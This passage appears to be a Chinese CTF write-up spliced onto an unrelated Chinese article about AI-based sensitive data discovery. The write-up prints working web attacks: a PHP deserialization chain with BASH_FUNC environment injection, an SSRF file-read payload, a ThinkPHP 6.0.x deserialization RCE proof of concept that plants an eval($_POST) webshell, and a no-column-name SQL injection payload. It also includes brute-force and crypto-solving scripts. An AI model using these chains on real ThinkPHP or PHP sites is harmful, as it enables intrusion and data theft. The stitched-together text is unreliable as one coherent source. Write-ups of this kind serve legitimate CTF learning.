就简单过滤了一下后缀和文件内容,很好绕过 Not just unserialize 这是一道反序列化的题目,链子很好构造,这里有几个魔术方法 __set():魔术方法 __set() 用来给类的实例的不存在的属性或不可访问的属性赋值。 __tostring():当我们使用 echo 语句输出一个对象时,会自动检查一个对象有没有定义 _toString() 方法,如果定义了,就会 输出 __toString() 方法的返回值,如果没有定义,那么会直接抛出一个异常,表明该对象不能直接转换为字符 串 __isset():__isset()当用isset()或empty()判断一个不可见属性时,自动调用 pop链start->SE->CR->ET $start=new start(); $SE=new SE(); $CR=new CR(); $ET=new ET(); $CR->newyear='WORRIES'; $CR->last=new $ET(); $SE->year=$CR; $start->welcome=$SE; echo base64_encode(serialize($start)); 漏洞利用,参考下面这个博客 https://tttang.com/archive/1450/ 根据题目描述 在php中 system()函数调用/bin/sh来执行参数指定的命令,而这个命令的作用是将系统默认的shell解释器从”/bin/sh”更改为”/bin/bash”。所以最后调用的system是bash环境,这样我们可以这样用 最后的payload为 ?go=Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo3OiJXT1JSSUVTIjt9fXM6MzoieW91IjtOO30&get[BASH_FUNC_echo%25%25]=() { cat /ffffllllllaaaaaaaaaaaaaaaaaaggggg ; } EZ_SSRF 这里逻辑很简单,更改url的地址即可 发现127.0.0.1不可获得 默认地址是/var/www/html 改用file协议读取 <?php class client{ public $url; public $payload; public function __construct() { $url = "http://127.0.0.1/flag"; $payload = "system(\"cat /flag\");"; echo "Exploit"; } public function __destruct() { get($this->url); } } $a=new client(); $a->url = "file:///var/www/html/flag.php"; $a->payload="system(\"ls /\");"; print_r(serialize($a)); ?> 最终payload: ?Harder=O:6:"client":2:{s:3:"url";s:29:"file:///var/www/html/flag.php";s:7:"payload";s:15:"system("ls /");";} Oyst3rPHP(thinkphp6.0.1—6.0.3反序列化漏洞) 主页没有什么信息,我们扫描一下目录 发现www.zip网站源码,下载下来 这是一个thinkphp6.0的框架,我们先看一下主页代码,在app/controller 发现最后有一个反序化接口,google一下,找到了thinkphp v6.03的反序列化漏洞,所以我们要先绕过前面的检测就行 Thinkphp反序列化 反序列化进if条件 首先是一个md5绕过,这里用了数组绕过发现不行,0e绕过可以 get传参?left=QNKCDZO&right=s878926199a,这两个字符串md5后都是0e开头的,可以绕过php的弱类型比较 下面的是对post传参的key进行正则匹配,不能含有?THINKPHP,但要stripos函数检索到603THINKPHP,这是典型的利用正则匹配的最大回溯次数绕过关键字,我们用到python脚本构造 这里插一嘴两个preg_match一个必须包含一个不能包含,之前打的shctf绕过有类似题->Shctf wp解析 (godyu.com) 最后能成功执行反序列化了,构造payload的poc <?php namespace think\model\concern; trait Attribute { private $data = ["key"=>"echo '<?php eval(\$_POST[1]);?>' > 1.php"]; private $withAttr = ["key"=>"system"]; } namespace think; abstract class Model { use model\concern\Attribute; private $lazySave = true; protected $withEvent = false; private $exists = true; private $force = true; protected $name; public function __construct($obj=""){ $this->name=$obj; } } namespace think\model; use think\Model; class Pivot extends Model {} $a=new Pivot(); $b=new Pivot($a); echo base64_encode(serialize($b)); ?> 写入一句话木马到1.php中,之后用蚁剑连接,拿到flag 方法2 出题人意图是需要我们找到原始反序列化漏洞泄露的地方 根据出题人的意图找到第三只生蚝目录地址的判断目录 cat flag 在index末尾处我们可以发现 找到原始model.php,从此处层层递进造成了thinkphp6.01-6.03反序列化漏洞 具体反序列化漏洞层层造成的过程分析->thinkphp6.01-6.03,,flag藏匿在Oysj3333333r.php里,我们修改此处 修改后的poc链 <?php namespace think\model\concern; trait Attribute { private $data = ["key"=>"tac /Oyst3333333r.php"]; private $withAttr = ["key"=>"system"]; } namespace think; abstract class Model { use model\concern\Attribute; private $lazySave = true; protected $withEvent = false; private $exists = true; private $force = true; protected $name; public function __construct($obj=""){ $this->name=$obj; } } namespace think\model; use think\Model; class Pivot extends Model {} $a=new Pivot(); $b=new Pivot($a); echo base64_encode(serialize($b)); ?> 结合上面绕过递归一把梭python脚本如下: import requests url = 'http://yuanshen.life:38758/?left=QNKCDZO&right=240610708' data = { 'key': 1020000*"a"+'603THINKPHP', 'payload': "TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjc6e3M6MjE6IgB0aGlua1xNb2RlbABsYXp5U2F2ZSI7YjoxO3M6MTI6IgAqAHdpdGhFdmVudCI7YjowO3M6MTk6IgB0aGlua1xNb2RlbABleGlzdHMiO2I6MTtzOjE4OiIAdGhpbmtcTW9kZWwAZm9yY2UiO2I6MTtzOjc6IgAqAG5hbWUiO086MTc6InRoaW5rXG1vZGVsXFBpdm90Ijo3OntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo3OiIAKgBuYW1lIjtzOjA6IiI7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6InRhYyAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6InRhYyAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319" } res=requests.post(url=url,data=data) print(res.text) >Reverse方向 [签到]Baby_C++ 题目是一个c++逆向,直接拖进IDA按下神奇的F5 这是main函数功能主要就是从输入流读入字符串与flag字符串进行比对,我们直接找到flag里面存放的数据即可 用cyberchef 16进制转字符串即可得到flag ->Misc方向 签到题 微信关注签到 真💨签到 存在密码 拖进winhex 得到后来一串数字 随波逐流解有两串比较可疑 Godyu 1:01:56 鸭语Nak解码: TVTTTVTXABYUXTXTXCARYYXAZCYYYUXV= Godyu 1:02:48 Cisco Type7解码: VTTTVTXABYUXTXTXCARYYXAZCYYYUXV= 不是base64,那就是文字加密成字母 最终发现是鸭语Nak加密 得到密码解压 一个图片一个wav音频隐写 因为图片的名字叫steg.jpg猜测可能是wav里隐藏了密码->steghide里 后来发现了密码尝试steghide解密 givemeyourlagrange密码错误,改lagrange全大写 判断出有flag.txt拿flag steghide extract -sf steg.jpg -p givemeyourLAGRANGE GeekChallgenge nc连接之后 与强网杯的那道题类似 https://www.cnblogs.com/backlion/p/17915922.html 一共有114位需要爆破 使用gpt->导入python的pwntool模块 导入string模块 使用charset = string.printable涵盖所有的字母字符数字等 将>作为每次结束的标志,定义一个114位的密码储存爆破出的密码字符 对于密码的每一个位置猜测出charset的每一个字符 其余的用X填充 当接受服务器的反馈如果是1说明猜对 将猜对的字符保存到密码列表中,打印出来,并跳出内层循环,继续猜测下一个位置的字符 直到结束 from pwn import * ip = 'yuanshen.life' port = 38268 conn = remote(ip, port) import string charset = string.printable GeShi = b'>' password = [''] * 114 proof = conn.recvuntil(GeShi).decode() print(proof) new_charset = '' for i in range(114): for char in charset: guess = ''.join(password[:i]) + char + 'X'*(113-i) conn.sendline(guess) feedback = conn.recvline().decode().strip() if '1' == feedback[i+1]: print('',guess) print(feedback) if not char in new_charset: new_charset += char if len(new_charset) == 5: charset = new_charset password[i] = char print(f"Found char at position {i}: {char}") break guessed_password = ''.join(password) print(f"Guessed Password: {guessed_password}") conn.sendline(guessed_password.encode('ascii')) feedback = conn.recvline().decode().strip() print(feedback) print(conn.recvline().decode()) conn.close() 运行完毕即可拿到flag ->Forensics方向 查看图片 谷歌识图 海南省海口市琼山区红城湖 ->Crypto方向 根据题目描述和密文特征发现是维吉尼亚加密 直接丢去在线网站 复现 有好几个题都是解了一大半就卡住了,看师傅们文章又学到很多知识,技术有限,努力学习 hacker 审查一下 给了提示flag在flag表里,但是这里看到被waf过滤 用不了or此时查不来information_schema表 查不了列名,使用无列名注入SQL注入之无列名注入_sql无列名注入-CSDN博客 buu做题笔记——[网鼎杯 2020 朱雀组]phpweb&[SWPU2019]Web1_网鼎杯知识点-CSDN博客 更改最后为flag即可 payload: ?username=1'union/**/select/**/(select/**/group_concat(`2`)/**/from/**/(select/**/1,2/**/union/**/select*from/**/flag)n)%23 who who who who who who的分值还是挺高的 奈何当时在零宽加密之后就卡主了 有加密 提示六位密码,进行爆破 正常打开之后是 切换其他记事本打开之后是零宽加密 全部复制到https://yuanfux.github.io/zero-width-web/解密网站 拿到了 U2FsdGVkX19uvldJ6CGUNff3B28QEdIjZqgUh98K+/0J16ELU8WVQydohw4P5+2M jbhTLQHNOpcoOd7kSRgy8pwpovCmimdD8M0IbYUeXjNKYePL/WP4PCMaOJHAW3HR b7IEoDDH1NYh3o5NwMmcFEqy1ujf72VgQIQkaeYFFFE= 这不base64 也不是文本加密 当时判断是带有密钥的加密 以为密钥是shumushizhanan没想到密钥是shumu 拿到 GTAGAGCTAGTCCTT{GGGTCACGGTTC_GGGTCACGGTTC_GAACGGTTC_GTAGTG_GCTTCA_GTAGACGTGGCGGTG_GTAGACTCA_TATGACCGG_GCTCGGGCT} DNA加密 mapping = { 'AAA': 'a', 'AAC': 'b', 'AAG': 'c', 'AAT': 'd', 'ACA': 'e', 'ACC': 'f', 'ACG': 'g', 'ACT': 'h', 'AGA': 'i', 'AGC': 'j', 'AGG': 'k', 'AGT': 'l', 'ATA': 'm', 'ATC': 'n', 'ATG': 'o', 'ATT': 'p', 'CAA': 'q', 'CAC': 'r', 'CAG': 's', 'CAT': 't', 'CCA': 'u', 'CCC': 'v', 'CCG': 'w', 'CCT': 'x', 'CGA': 'y', 'CGC': 'z', 'CGG': 'A', 'CGT': 'B', 'CTA': 'C', 'CTC': 'D', 'CTG': 'E', 'CTT': 'F', 'GAA': 'G', 'GAC': 'H', 'GAG': 'I', 'GAT': 'J', 'GCA': 'K', 'GCC': 'L', 'GCG': 'M', 'GCT': 'N', 'GGA': 'O', 'GGC': 'P', 'GGG': 'Q', 'GGT': 'R', 'GTA': 'S', 'GTC': 'T', 'GTG': 'U', 'GTT': 'V', 'TAA': 'W', 'TAC': 'X', 'TAG': 'Y', 'TAT': 'Z', 'TCA': '1', 'TCC': '2', 'TCG': '3', 'TCT': '4', 'TGA': '5', 'TGC': '6', 'TGG': '7', 'TGT': '8', 'TTA': '9', 'TTC': '0', 'TTG': ' ', 'TTT': '.' } input_str = 'GTAGAGCTAGTCCTT{GGGTCACGGTTC_GGGTCACGGTTC_GAACGGTTC_GTAGTG_GCTTCA_GTAGACGTGGCGGTG_GTAGACTCA_TATGACCGG_GCTCGGGCT}' i = 0 ans = '' while i < len(input_str): if input_str[i] in ('{', '_', '}'): ans += input_str[i] i += 1 else: ans += mapping[input_str[i:i + 3]] i += 3 print(ans) ezpyc 这题太尬了反编译之后的就是flag…. https://www.lddgo.net/string/pyc-compile-decompile 数独都不必分析 m过去就是答案 当时我对着数独就是一顿分析,没想到flag就在眼前 签到,确信! 题目: from Crypto.Util.number import * from enc import flag m = bytes_to_long(flag) def gen_keys(bits): while 1: p = getPrime(bits) q = sum([p**i for i in range(7)]) if isPrime(q): r = getPrime(1024) n = p*q*r return p,n p,n = gen_keys(512) e = 65537 c = pow(m,e,n) print(f"n = {n}") print(f"e = {e}") print(f"c = {c}") ''' n = 8361361624563191168612863710516449028280757632934603412143152925186847 72182155287933860895112015763118269976283374309783736874052605573651608013 65205848481131370875818864263351912076888070630240961280014066982179988167 82335655663803544853496060418931569545571397849643826584234431049002394772 87726360304973672307139298982493920236263140916443471593866203879564131418 96287306149782179878681506514913431615264478945692417700903776336020585612 39329450046036247193745885174295365633411482121644408648089046016960479100 22085095300992777895030475433901354101953641388026407445643390767167004928 83179455404954966155311509166470501589360100950374123346625610460161637775 75736952349827380039938526168715655649566952708788485104126900723003264019 51388889794217589000771102628894168725696201279926438754589283276230432028 75925756026836738453999840392723509298032174926175026010056137789761097018 42829008365226259492848134417818535629827769342262020775115695472218876430 55702647128252604254519594406307852327934145919947591120396676275138133427 77162367406370214163113252430285699973033413173945253458791885239489916984 89667794912052436245063998637376874151553809424581376068719814532246179297 85120686250595243730125331366087623113628587721494909499545899763023576463 50595280161490066137202871029418685172445098548756728874450997339099125988 95743707420454623997740143407206090319567531144126090072331 e = 65537 c = 9901744183419446581636823550814851552652879282998060853149162655806576 72513493698560580484907432207730887132062242640756706695937403268682912083 14856886614701124751043983734094533445111012518259539792060207477502241645 49189546236124495846375847163438062559170905259042012848525788342324478217 16829253065610989317909188784426328951520866152936279891872183954439348449 35949152636067115219373526009907719898626436456804683439906451435053832999 1409851310529476700636056111137302461289268502424718207099571586091753768679 93700411738314237400038584470826914946434498322430741797570259936266226325 66781452183842073306133596907124558065718754416177261988951884534863967282 02127090302279999637445937151949285026069104527776877356140334046462370920 67644786266390652682476817862879933305687452549301456541574678459748029511 68552977965305610879564449544251506673107523213073032625840449764655188544 31466294982361917940650501995350631694711125332846631973576359080543436836 37354352034115772227442563180462771041527246803861110504563589660801224223 15206057376038804579169922100755691159779238782941689203741428313149983267 22221574507424606660133319622494158074392584177361289760442725559223443427 25850924271905056434303543500959556998454661274520986141613977331669376614 64726966727659416351604042208961609984931564442464492014590006642683960705 8422686565517159251903275091124418838917480242517812783383 多项式商环 from Crypto.Util.number import * n = 8361361624563191168612863710516449028280757632934603412143152925186847721821552879338608951120157631182699762833743097837368740526055736516080136520584848113137087581886426335191207688807063024096128001406698217998816782335655663803544853496060418931569545571397849643826584234431049002394772877263603049736723071392989824939202362631409164434715938662038795641314189628730614978217987868150651491343161526447894569241770090377633602058561239329450046036247193745885174295365633411482121644408648089046016960479100220850953009927778950304754339013541019536413880264074456433907671670049288317945540495496615531150916647050158936010095037412334662561046016163777575736952349827380039938526168715655649566952708788485104126900723003264019513888897942175890007711026288941687256962012799264387545892832762304320287592575602683673845399984039272350929803217492617502601005613778976109701842829008365226259492848134417818535629827769342262020775115695472218876430557026471282526042545195944063078523279341459199475911203966762751381334277716236740637021416311325243028569997303341317394525345879188523948991698489667794912052436245063998637376874151553809424581376068719814532246179297851206862505952437301253313660876231136285877214949094995458997630235764635059528016149006613720287102941868517244509854875672887445099733909912598895743707420454623997740143407206090319567531144126090072331 e = 65537 c = 990174418341944658163682355081485155265287928299806085314916265580657672513493698560580484907432207730887132062242640756706695937403268682912083148568866147011247510439837340945334451110125182595397920602074775022416454918954623612449584637584716343806255917090525904201284852578834232447821716829253065610989317909188784426328951520866152936279891872183954439348449359491526360671152193735260099077198986264364568046834399064514350538329990985131052947670063605611113730246128926850242471820709957158609175376867993700411738314237400038584470826914946434498322430741797570259936266226325667814521838420733061335969071245580657187544161772619889518845348639672820212709030227999963744593715194928502606910452777687735614033404646237092067644786266390652682476817862879933305687452549301456541574678459748029511685529779653056108795644495442515066731075232130730326258404497646551885443146629498236191794065050199535063169471112533284663197357635908054343683637354352034115772227442563180462771041527246803861110504563589660801224223152060573760388045791699221007556911597792387829416892037414283131499832672222157450742460666013331962249415807439258417736128976044272555922344342725850924271905056434303543500959556998454661274520986141613977331669376614647269667276594163516040422089616099849315644424644920145900066426839607058422686565517159251903275091124418838917480242517812783383 k = 7 R = Zmod(n)["x"] while True: Q = R.quo(R.random_element(k)) pp = gcd(ZZ(list(Q.random_element() ^ n)[1]), n) if pp != 1: qq = sum([pp**i for i in range(k)]) rr = n // (pp * qq) assert n == pp * qq * rr break phi = (pp - 1) * (qq - 1) * (rr - 1) d = pow(e, -1, phi) m = pow(c, d, n) print(long_to_bytes(int(m))) # SICTF{d9428fc7-fa3a-4096-8ec9-191c0a4562ff} gggcccddd from Crypto.Util.number import * from enc import flag m = bytes_to_long(flag) p = getPrime(512) q = getPrime(512) n = p*q e = 65537 c1 = pow(m,e,n) c2 = pow(233*m+9527,e,n) print(f'n = {n}') print(f'c1 = {c1}') print(f'c2 = {c2}') print(f'e = {e}') """ n = 71451784354488078832557440841067139887532820867160946146462765529262021756492415597759437645000198746438846066445835108438656317936511838198860210224738728502558420706947533544863428802654736970469313030584334133519644746498781461927762736769115933249195917207059297145965502955615599481575507738939188415191 c1 = 60237305053182363686066000860755970543119549460585763366760183023969060529797821398451174145816154329258405143693872729068255155086734217883658806494371105889752598709446068159151166250635558774937924668506271624373871952982906459509904548833567117402267826477728367928385137857800256270428537882088110496684 c2 = 20563562448902136824882636468952895180253983449339226954738399163341332272571882209784996486250189912121870946577915881638415484043534161071782387358993712918678787398065688999810734189213904693514519594955522460151769479515323049821940285408228055771349670919587560952548876796252634104926367078177733076253 e = 65537 """ 运行了很久才能出来 easyLattice 需要配平 from Crypto.Util.number import * h = 9848463356094730516607732957888686710609147955724620108704251779566910519170690198684628685762596232124613115691882688827918489297122319416081019121038443 p = 11403618200995593428747663693860532026261161211931726381922677499906885834766955987247477478421850280928508004160386000301268285541073474589048412962888947 L = Matrix(ZZ, [[1, h*2**256], [0, p*2**256]]) m = abs(L.LLL()[0][0]) # print(m) print(long_to_bytes(int(m))) superbRSA 就是一个简单的e不互素的共模攻击 from libnum import * from gmpy2 import * from n= 19006830358118902392432453595802675566730850352890246995920642811967821259388009049803513102750594524106471709641202019832682438027312468849299985832675191795417160553379580813410722359089872519372049229233732405993062464286888889084640878784209014165871696882564834896322508054231777967011195636564463806270998326936161449009988434249178477100127347406759932149010712091376183710135615375272671888541233275415737155953323133439644529709898791881795186775830217884663044495979067807418758455237701315019683802437323177125493076113419739827430282311018083976114158159925450746712064639569301925672742186294237113199023 c1= 276245243658976720066605903875366763552720328374098965164676247771817997950424168480909517684516498439306387133611184795758628248588201187138612090081389226321683486308199743311842513053259894661221013008371261704678716150646764446208833447643781574516045641493770778735363586857160147826684394417412837449465273160781074676966630398315417741542529612480836572205781076576325382832502694868883931680720558621770570349864399879523171995953720198118660355479626037129047327185224203109006251809257919143284157354935005710902589809259500117996982503679601132486140677013625335552533104471327456798955341220640782369529 c2= 11734019659226247713821792108026989060106712358397514827024912309860741729438494689480531875833287268454669859568719053896346471360750027952226633173559594064466850413737504267807599435679616522026241111887294138123201104718849744300769676961585732810579953221056338076885840743126397063074940281522137794340822594577352361616598702143477379145284687427705913831885493512616944504612474278405909277188118896882441812469679494459216431405139478548192152811441169176134750079073317011232934250365454908280676079801770043968006983848495835089055956722848080915898151352242215210071011331098761828031786300276771001839021 e1=55 e2=200 _, k1, k2 = gcdext(e1, e2) g = gcd(e1, e2) m = pow(pow(c1, k1, n)*pow(c2, k2, n),1,n) print(long_to_bytes(iroot(Integer(m), 3)[0])) # SICTF{S0_Great_RSA_Have_Y0u_Learned?}
  13. 数据是现代企业的新石油:正确使用它可以促进公司的发展并帮助企业在竞争中领先。就像石油一样,原始数据和未被发现的数据是毫无用处的,企业将无法从中受益;在最坏的情况下,它可能会导致安全事件。这也是企业投资敏感数据发现和保护解决方案的原因。 传统的数据发现工具由数据扫描仪和基于规则的算法提供支持,这些工具通常不足以掌握不断增长的新数据流。因此,许多企业利用人工智能 (AI) 增强其数据发现和保护解决方案。 在本文中,我们将讨论基于规则系统的主要缺点以及使用人工智能发现和保护敏感数据的好处、典型的数据发现和保护解决方案的工作原理,还分享有 Apriorit 经验中的开发技巧。 敏感数据发现如何影响企业安全 将敏感数据保存在一个安全的存储位置似乎是一项容易的任务,但实际上对于许多企业来说几乎是不可能的。在 COVID-19 大流行期间过渡到远程或混合工作、将本地环境迁移到云或经历合并和收购过程,可能会导致敏感数据存储在最不明显的地方。此类数据会受到网络安全解决方案的关注,并增加数据泄露或安全事件的风险。 存储在企业控制和安全边界之外的数据会带来数据盗窃或数据泄漏等安全事件的风险。这就是企业投资敏感数据发现软件的原因——用于检测、识别和组织所有组织资源和环境中的记录的工具。 实施这样的解决方案可以让企业: · 确保遵守网络安全法 · 防止数据被盗和泄露 · 进行数据驱动的网络安全改进 · 提高数据管理效率 跨不同环境和基础设施控制敏感数据的需求不断增长,导致数据发现软件越来越受欢迎。事实上,全球敏感数据发现市场预计将从 2020 年的 51 亿美元增长到 2026 年的 124 亿美元。 敏感数据保护发现和工具对于以下行业中处理敏感信息的企业尤其重要: · 金融科技 · 零售与电子商务 · 卫生保健 · 保险 · 运输与物流 · 人力资源和客户服务 · 软件开发 然而,传统的数据发现解决方案无法始终跟上现代公司生成新记录的速度。接下来,我们来看看这些工具的主要弱点和局限性。 为什么传统的数据发现工具不够用 虽然用于数据发现和保护的专用工具可提供许多业务优势,但管理它们并将其集成到现有的公司系统中可能具有挑战性。 以下是基于规则的数据发现的主要缺点: 1.发现过程缓慢 基于规则的系统通常依赖数据库和存储扫描器来发现新记录。他们花费大量时间来分析集成的存储实例,必须进行一一扫描。如果在扫描期间添加新记录,该工具将不会发现它,直到完成当前扫描并开始新扫描。此外,扫描仪必须在每次扫描期间检查所有记录,包括自上次扫描以来未更改的记录。 2.非结构化记录的发现能力较差 基于规则的工具可以轻松发现数据库、日志和电子表格等结构化数据源中的敏感记录。当涉及非结构化数据源(电子邮件、文本文档、社交媒体)时,发现的准确性会显著下降,因为非结构化记录分散且不一致。使用非 AI 解决方案扫描此类数据源通常会提供不可靠且不完整的结果,考虑到企业生成的约90% 的数据是非结构化的,这一点尤其重要。 3.需要大量的手动输入 为了成功使用基于规则的系统,企业必须执行大量手动活动:设置配置、指定扫描和分类规则以及正则表达式、查看结果等等。大量手动输入会增加引入人为错误的机会。使用基于规则的系统也不能消除手动发现系统无法识别的数据(例如上面讨论的非结构化记录)的需要。 4.分类保护错误 当数据没有被正确、完整地发现时,任何工具都很难对其进行分类:确定敏感记录的类型、计算风险评分并分配所需的网络安全措施。敏感数据分类不正确可能会使记录不受保护,从而导致数据被盗和合规违规。 5.缺乏网络安全背景 基于规则的系统收集有关数据发现的有限数据。通常,它们受到发现的数据类型及其位置的限制。为了检查工具的发现和分类性能,网络安全专家必须手动评估新记录并收集缺失的上下文,然后才能做出最终决定。 这些限制源于基于规则的系统的核心算法,这就是为什么即使是经验丰富的开发人员和系统管理员也难以克服它们。对于存储空间相对较小、每天不会创建大量数据并且拥有可用 IT 资源来管理发现过程的组织来说,使用此类系统是有益的。 如果有严格的网络安全要求,并且需要更多背景信息来发现和保护数据,请考虑选择基于人工智能的工具。采用强大的基于人工智能的系统可以满足敏感数据保护和网络安全合规性方面的许多业务需求。 为什么使用人工智能进行数据发现和保护 使用人工智能进行数据发现和保护可以显著提高数据发现和保护解决方案的准确性和可靠性。企业可以在数据发现过程中使用各种人工智能模型和技术来获得以下优势: 1.识别非结构化数据 与基于规则的系统不同,基于人工智能的解决方案可以识别结构化和非结构化数据中的敏感记录。借助大型语言模型 (LLM) 和自然语言处理 (NLP),此类解决方案可以检测信件、聊天日志、文本文件以及其他无法由规则完全定义的来源中的敏感信息。 对非结构化数据的分析使人工智能驱动的敏感数据发现工具变得可靠,并有助于提高组织的整体网络安全态势。 2.实时检测新记录 人工智能算法不需要迭代扫描可用环境来发现新数据。相反,他们可以分析新的和编辑的记录,从而显着加快检测速度并避免瓶颈。一些敏感数据发现工具既使用基于规则的扫描进行常规数据检查,又使用人工智能模型来更准确地分析非结构化记录。 3.增强流程自动化 基于人工智能的工具可以可靠地自动化数据发现、分类和保护期间的大多数活动。初始配置后,他们很少需要手动输入和额外的调整。高水平的自动化可以帮助企业加快数据发现速度,并将网络安全专家从日常任务中解放出来,使他们能够专注于需要其专业知识的挑战。 4.正确分类和保护数据 由于能够理解数据的含义和上下文,人工智能可以准确地对发现的任何存储格式的记录进行分类。正确的分类和敏感度分数允许人工智能选择相关的记录,并采取相应的安全措施,改善组织的安全状况并遵守相关的安全要求。 5.从数据分析中获得见解 由人工智能驱动的数据发现解决方案会生成并收集大量与其工作相关的数据,包括新敏感记录的性质和位置、分类结果以及常见的数据安全策略违规行为。此类软件可以使用这些数据创建仪表板,帮助安全专家快速评估和改进发现和保护流程。 该解决方案还可以创建有关最近事件和数据保护状态的自动报告,这些报告对于深入评估组织的安全性和通过合规性审核非常有用。 使用人工智能进行数据发现可以将数据发现解决方案提升到一个新的水平,并提高组织的网络安全性。然而,以高效且经济高效的方式实施它需要在网络安全领域使用人工智能的经验。 人工智能数据发现和保护工具如何工作 用于数据发现和保护的高级解决方案可以执行从文件扫描到数据分析和风险报告的各种活动。此类工具可能完全基于人工智能算法或具有附加人工智能功能的基于规则的系统。 虽然每个解决方案都有自己的杀手级功能和工作流程,但可以将大多数基于人工智能的工具所经历的数据发现过程概述为以下关键阶段: 1.数据扫描 AI 解决方案持续监控它可以访问的环境以获取新数据:云和本地服务器、数据库、设备驱动器等。数据发现和保护解决方案的管理员可以配置它应查找的数据类型并提供对实例的访问它应该监控。 扫描通常包括以下关键步骤: · 监控可访问存储实例的更改和新记录 · 识别潜在敏感记录 · 准备非结构化数据进行处理 当解决方案发现包含潜在敏感数据的文件时,它会尝试对其进行分类。 2.数据分类和标记 根据其配置,软件可以通过以下方式对发现的记录进行分类: · 敏感数据的类型。该解决方案可以识别个人、财务或制造数据以及知识产权。在这个阶段使用LLM和NLP等人工智能技术有助于对非结构化数据进行高精度分类。 · 敏感度得分。该解决方案可以根据数据的性质、位置、所应用的保护措施和其他因素来计算发现的记录的敏感程度。此分数有助于解决方案决定在后续处理阶段如何处理数据以及何时需要通知系统管理员。 分类完成后,解决方案会为发现的记录分配标签。标签通常包括数据类型、与其交互所需的访问级别以及限制级别。解决方案管理员还可以创建自定义标签。 3.保护 数据发现软件为保护其发现的数据而采取的步骤完全取决于组织的网络安全标准和环境、适用的法规等。通常,人工智能驱动的软件可以实施以下数据保护措施: · 加密 · 准入政策 · 将数据传输到更安全的存储 · 去识别化和匿名化 · 数据脱敏 4.警报和分析 除了持续的发现和保护过程之外,还可以使用人工智能算法来处理他们收集的数据并编译有用的仪表板: · 当前需要管理员解决的安全威胁 · 各种数据记录和存储实例的风险评分 · 常见的数据保护违规行为,这可能表明有害的用户行为和安全策略中的漏洞 · 应用保护与合规性要求之间的不一致 此类数据分析和可视化能够检测企业保护中的薄弱环节并改进安全策略。 尽管数据发现和保护软件几乎可以完全自动工作,但网络安全专家必须概述其决策,以确保充分的数据保护。当此类软件发现敏感度较高或存在较多安全风险的新记录时,它可以通知管理员。然后,管理员可以查看解决方案分配的保护措施,并根据需要进行更改。 如何应对人工智能驱动的数据发现的关键挑战 构建自定义数据发现和保护工具总是会面临针对客户群体、需求和合规性要求所特有的挑战。 1.相关数据存储集成 为了能够发现所有敏感数据,工具需要访问和读取组织所有环境中的记录。但是,为所有可能的云和本地存储实例添加 API需要开发人员花费大量时间,并且可能会引入安全漏洞。在开始开发之前,会采访客户的利益相关者,以了解他们的环境,仅添加他们需要的集成,并保护已实施的 API。 2.可靠的开发组件 使用第三方组件可以显著加快开发过程,但也会增加在解决方案中添加后门的风险。为了找到开发时间和安全性之间的平衡,将会测试第三方软件并使用已知漏洞数据库对其进行检查,然后再将其添加到客户的解决方案中。 如果解决方案使用GPT或Claude等商业语言模型,可以创建一个私有数据库来训练它或在本地部署模型,以避免与其他公司共享数据。 3.均衡的资源利用 与任何基于人工智能的解决方案一样,持续的数据发现可能非常消耗资源,特别是当企业不断生成大量数据时,这可能会导致高昂的云使用成本或需要维护强大的本地计算机。为了避免开发和维护成本飙升,采用了敏捷和DevOps实践,优化AI性能以消除不必要的操作,并实施灵活的扩展机制。 4.安全配置 人工智能数据发现和保护工具需要访问和管理其管理环境中的任何记录。这些记录可能会被黑客或内部人员滥用,以寻求访问敏感数据而不被注意到的方法。限制工具的安全权限将阻碍其效率,因此,会寻求性能和安全性之间的平衡:配置对记录的即时访问、发现数据时匿名化、为管理员添加数据操作通知等。 5.人工智能偏见 任何基于人工智能的解决方案都会带有其开发人员和训练数据集的偏见。 对于数据发现和保护解决方案,这种偏差可能会导致数据分类不正确或安全措施执行不足。在产品发布之前检测人工智能偏差的最可靠方法是通过广泛的测试。 培养人工智能、网络安全和数据管理等复杂软件开发领域的专业知识。凭借为来自严格监管行业的客户构建定制解决方案的经验,可以尽早概述关键的开发挑战并提供克服这些挑战的方法。 结论 数据发现和保护工具是任何企业网络安全的重要组成部分,因为它们为可靠的数据安全和管理奠定了基础。此类工具可以跨任何云、本地和混合基础设施发现敏感数据,并根据企业的策略和合规性要求实施网络安全措施。 通过人工智能增强数据发现和保护,将此类解决方案提升到一个新的水平。与基于规则的系统相比,人工智能可以发现非结构化数据并对其进行分类,犯的错误更少,不需要大量的手动输入,并可以收集数据以用于未来的安全改进。 但要构建人工智能驱动的数据发现解决方案并安全地部署它,用户需要聘请网络安全、人工智能开发和数据管理方面的专家。
